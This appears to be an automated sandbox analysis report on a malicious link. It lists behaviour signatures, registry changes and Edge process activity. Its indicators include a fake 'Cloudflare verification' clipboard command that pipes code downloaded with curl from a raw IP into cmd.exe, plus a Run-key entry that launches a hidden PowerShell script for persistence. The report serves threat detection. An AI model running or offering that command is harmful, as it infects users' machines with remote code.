hxxp://url6726[.]alfredpay[.]io/ls/click?upn=u001[.]V1ajJ0-2FRi2B1UM8asnA4rhUvmcjGagv3ZaxLniloV8w-3DaW1i_fkFbnRdzZ6Z94LMD7mibEP77v6mh7PiP-2BGhCEkFEC-2Bgn3NQqfX5eB5XflZ03q8thA4Lz8IftQ26Gwk8Vt5BtHfelSuERjqk-2F4EB0hR2qsoFTfIO1pe-2FEgnX5jr3xT534sHgQTQWiUC8zMo-2F8sNGAm-2FVeoDxY-2FhAGaOnWI14HXFUb08lfaQzb3opmyz1oTxoC7aLObq5puW6SDlVuTsM1Nki9NmQuhGpHMmWDPxiLsfxRDW-2B3ElK26SrrfviKf-2BVUTNCO58jIJ1t7ANfobmuEG1l3KQkppCz1Ld6skIITbOKXAfFuOq6dYNwKB1Rp32gZpgvDLLjtSmuepBKG3UjWB6QZfnr6taSYfiwZuzIHhbM-3D

Analysis

user interaction
yes
max time kernel
47s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/06/2026, 02:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
http://url6726.alfredpay.io/ls/click?upn=u001.V1ajJ0-2FRi2B1UM8asnA4rhUvmcjGagv3ZaxLniloV8w-3DaW1i_fkFbnRdzZ6Z94LMD7mibEP77v6mh7PiP-2BGhCEkFEC-2Bgn3NQqfX5eB5XflZ03q8thA4Lz8IftQ26Gwk8Vt5BtHfelSuERjqk-2F4EB0hR2qsoFTfIO1pe-2FEgnX5jr3xT534sHgQTQWiUC8zMo-2F8sNGAm-2FVeoDxY-2FhAGaOnWI14HXFUb08lfaQzb3opmyz1oTxoC7aLObq5puW6SDlVuTsM1Nki9NmQuhGpHMmWDPxiLsfxRDW-2B3ElK26SrrfviKf-2BVUTNCO58jIJ1t7ANfobmuEG1l3KQkppCz1Ld6skIITbOKXAfFuOq6dYNwKB1Rp32gZpgvDLLjtSmuepBKG3UjWB6QZfnr6taSYfiwZuzIHhbM-3D
Sample260606-csbxyahs21

Score

8^/10

defense_evasion discovery dropper execution persistence

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
6152	bitsadmin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	cscript.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
cmd /c curl -k http://68.211.161.46/validation.txt \| cmd.exe & exit # CIoudfIare Google Verificación Segura (Version 2025.5755)	msedge.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run = "powershell -WindowStyle Hidden -Command \"Start-Process -FilePath 'C:\\Users\\Public\\run.vbs'\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\id = "cmd /c echo Sat 06/06/2026 3:20:59.15 > \"C:\\Users\\Public\\id.txt\""	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
80	sites.google.com
86	drive.google.com
87	drive.google.com
88	drive.google.com
137	sites.google.com
51	sites.google.com
52	sites.google.com
54	sites.google.com

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
126	api.ipify.org
127	api.ipify.org
128	api.ipify.org

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3720	powershell.exe
5480	powershell.exe
7764	powershell.exe
6432	powershell.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\41c01c5e-f992-4f93-a995-1eebd15221b3.tmp	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\metadata	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\c5fd4915-3999-4631-90c1-b0ae22887ac5.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\7332_13425186060697450_7332.pma	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\7420_13425186060652074_7420.pma	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\settings.dat	setup.exe
File opened for modification	C:\Program Files\msedge_installer.log	setup.exe
File opened for modification	C:\Program Files\msedge_installer.log	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\metadata	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe
File opened for modification	C:\Program Files\MsEdgeCrashpad\throttle_store.dat	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3308	msedge.exe
4692	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6480	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134251860283237490"	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "64"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2937465464-4167303362-2236413517-1000\{FC46E5EE-DACF-4CFE-9CEC-8DB675459274}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2937465464-4167303362-2236413517-1000\{7B92988F-F708-4D1F-B986-BFAD3D968788}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
6432	powershell.exe
6432	powershell.exe
6432	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
5812	msedge.exe
5812	msedge.exe
8160	powershell.exe
8160	powershell.exe
8160	powershell.exe
5480	powershell.exe
5480	powershell.exe
5480	powershell.exe
7764	powershell.exe
7764	powershell.exe
7764	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 26 IoCs

pid	Process
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
5812	msedge.exe
2744	msedge.exe
5812	msedge.exe
5812	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	6432	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	8160	powershell.exe
Token: SeShutdownPrivilege	7508	shutdown.exe
Token: SeRemoteShutdownPrivilege	7508	shutdown.exe
Token: SeDebugPrivilege	5480	powershell.exe
Token: SeDebugPrivilege	7764	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
5812	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
5812	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe
2744	msedge.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5480	powershell.exe
5480	powershell.exe
7764	powershell.exe
7764	powershell.exe
3528	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 4712	2744	msedge.exe	88
PID 2744 wrote to memory of 3308	2744	msedge.exe	89
PID 2744 wrote to memory of 3332	2744	msedge.exe	90
PID 2744 wrote to memory of 3332	2744	msedge.exe	90
PID 2744 wrote to memory of 3332	2744	msedge.exe	90
PID 2744 wrote to memory of 736	2744	msedge.exe	91
PID 2744 wrote to memory of 736	2744	msedge.exe	91
PID 2744 wrote to memory of 1720	2744	msedge.exe	93
PID 2744 wrote to memory of 4748	2744	msedge.exe	94
PID 2744 wrote to memory of 1720	2744	msedge.exe	93
PID 2744 wrote to memory of 1720	2744	msedge.exe	93
PID 2744 wrote to memory of 4748	2744	msedge.exe	94
PID 2744 wrote to memory of 4748	2744	msedge.exe	94
PID 2744 wrote to memory of 756	2744	msedge.exe	95
PID 2744 wrote to memory of 1456	2744	msedge.exe	96
PID 2744 wrote to memory of 756	2744	msedge.exe	95
PID 2744 wrote to memory of 756	2744	msedge.exe	95
PID 2744 wrote to memory of 1456	2744	msedge.exe	96
PID 2744 wrote to memory of 1456	2744	msedge.exe	96
PID 2744 wrote to memory of 1836	2744	msedge.exe	97
PID 2744 wrote to memory of 1836	2744	msedge.exe	97
PID 2744 wrote to memory of 4852	2744	msedge.exe	100
PID 2744 wrote to memory of 4852	2744	msedge.exe	100
PID 2744 wrote to memory of 3320	2744	msedge.exe	102
PID 2744 wrote to memory of 3320	2744	msedge.exe	102
PID 2744 wrote to memory of 3320	2744	msedge.exe	102
PID 2744 wrote to memory of 2532	2744	msedge.exe	103
PID 2744 wrote to memory of 1548	2744	msedge.exe	104
PID 2744 wrote to memory of 2532	2744	msedge.exe	103
PID 2744 wrote to memory of 1548	2744	msedge.exe	104
PID 2744 wrote to memory of 3628	2744	msedge.exe	105
PID 2744 wrote to memory of 3628	2744	msedge.exe	105
PID 2744 wrote to memory of 3628	2744	msedge.exe	105
PID 2744 wrote to memory of 936	2744	msedge.exe	106
PID 2744 wrote to memory of 936	2744	msedge.exe	106
PID 2744 wrote to memory of 936	2744	msedge.exe	106
PID 2744 wrote to memory of 3176	2744	msedge.exe	110
PID 2744 wrote to memory of 4104	2744	msedge.exe	112
PID 2744 wrote to memory of 4104	2744	msedge.exe	112
PID 2744 wrote to memory of 4104	2744	msedge.exe	112
PID 2744 wrote to memory of 3776	2744	msedge.exe	113
PID 2744 wrote to memory of 3776	2744	msedge.exe	113
PID 2744 wrote to memory of 3276	2744	msedge.exe	114
PID 2744 wrote to memory of 3276	2744	msedge.exe	114
PID 2744 wrote to memory of 4596	2744	msedge.exe	115
PID 2744 wrote to memory of 4596	2744	msedge.exe	115
PID 2744 wrote to memory of 716	2744	msedge.exe	116
PID 2744 wrote to memory of 716	2744	msedge.exe	116
PID 2744 wrote to memory of 4188	2744	msedge.exe	117
PID 2744 wrote to memory of 4188	2744	msedge.exe	117
PID 2744 wrote to memory of 1512	2744	msedge.exe	128
PID 2744 wrote to memory of 1512	2744	msedge.exe	128
PID 2744 wrote to memory of 5300	2744	msedge.exe	129
PID 2744 wrote to memory of 5360	2744	msedge.exe	130
PID 2744 wrote to memory of 5364	2744	msedge.exe	131
PID 5628 wrote to memory of 3448	5628	cmd.exe	135
PID 5668 wrote to memory of 436	5668	cmd.exe	136
PID 436 wrote to memory of 5812	436	msedge.exe	138
PID 5668 wrote to memory of 5828	5668	cmd.exe	139
PID 5812 wrote to memory of 5840	5812	msedge.exe	140
PID 5828 wrote to memory of 5644	5828	cscript.exe	141
PID 5812 wrote to memory of 4692	5812	msedge.exe	142
PID 5812 wrote to memory of 728	5812	msedge.exe	143
PID 5812 wrote to memory of 728	5812	msedge.exe	143

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://url6726.alfredpay.io/ls/click?upn=u001.V1ajJ0-2FRi2B1UM8asnA4rhUvmcjGagv3ZaxLniloV8w-3DaW1i_fkFbnRdzZ6Z94LMD7mibEP77v6mh7PiP-2BGhCEkFEC-2Bgn3NQqfX5eB5XflZ03q8thA4Lz8IftQ26Gwk8Vt5BtHfelSuERjqk-2F4EB0hR2qsoFTfIO1pe-2FEgnX5jr3xT534sHgQTQWiUC8zMo-2F8sNGAm-2FVeoDxY-2FhAGaOnWI14HXFUb08lfaQzb3opmyz1oTxoC7aLObq5puW6SDlVuTsM1Nki9NmQuhGpHMmWDPxiLsfxRDW-2B3ElK26SrrfviKf-2BVUTNCO58jIJ1t7ANfobmuEG1l3KQkppCz1Ld6skIITbOKXAfFuOq6dYNwKB1Rp32gZpgvDLLjtSmuepBKG3UjWB6QZfnr6taSYfiwZuzIHhbM-3D
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ff9dc3ac188,0x7ff9dc3ac194,0x7ff9dc3ac1a0
  2⤵
  PID:4712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1956,i,11126738531327580851,16049922789200563276,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,17162822007985746038,16943976026571374208,262144 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:2
  2⤵
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2400,i,3459406984916779421,9991752837641873835,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:8
  2⤵
  PID:736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3492,i,8383717343830931884,7261091764477986135,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
  2⤵
  PID:1720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3496,i,15019247708724558628,14208236079104334321,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4284,i,434509389228203058,7806664846767033743,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:1
  2⤵
  PID:756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4312,i,8450451970111621136,5928198819120021696,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:2
  2⤵
  PID:1456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3684,i,3714332794851975160,11460120491600771204,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,3858104053035372381,2285394465728925674,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:8
  2⤵
  PID:4852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5200,i,11104449952825406219,6331569523899549766,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:1
  2⤵
  PID:3320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3552,i,11075292723790287684,14517876355514654985,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:8
  2⤵
  PID:2532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,16052679958945854951,10934459873586626990,524288 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:8
  2⤵
  PID:1548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5512,i,4634070489877084225,10072818252681082137,2097152 --field-trial-handle=2304,i,6759157422381906595,103507528964219548,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
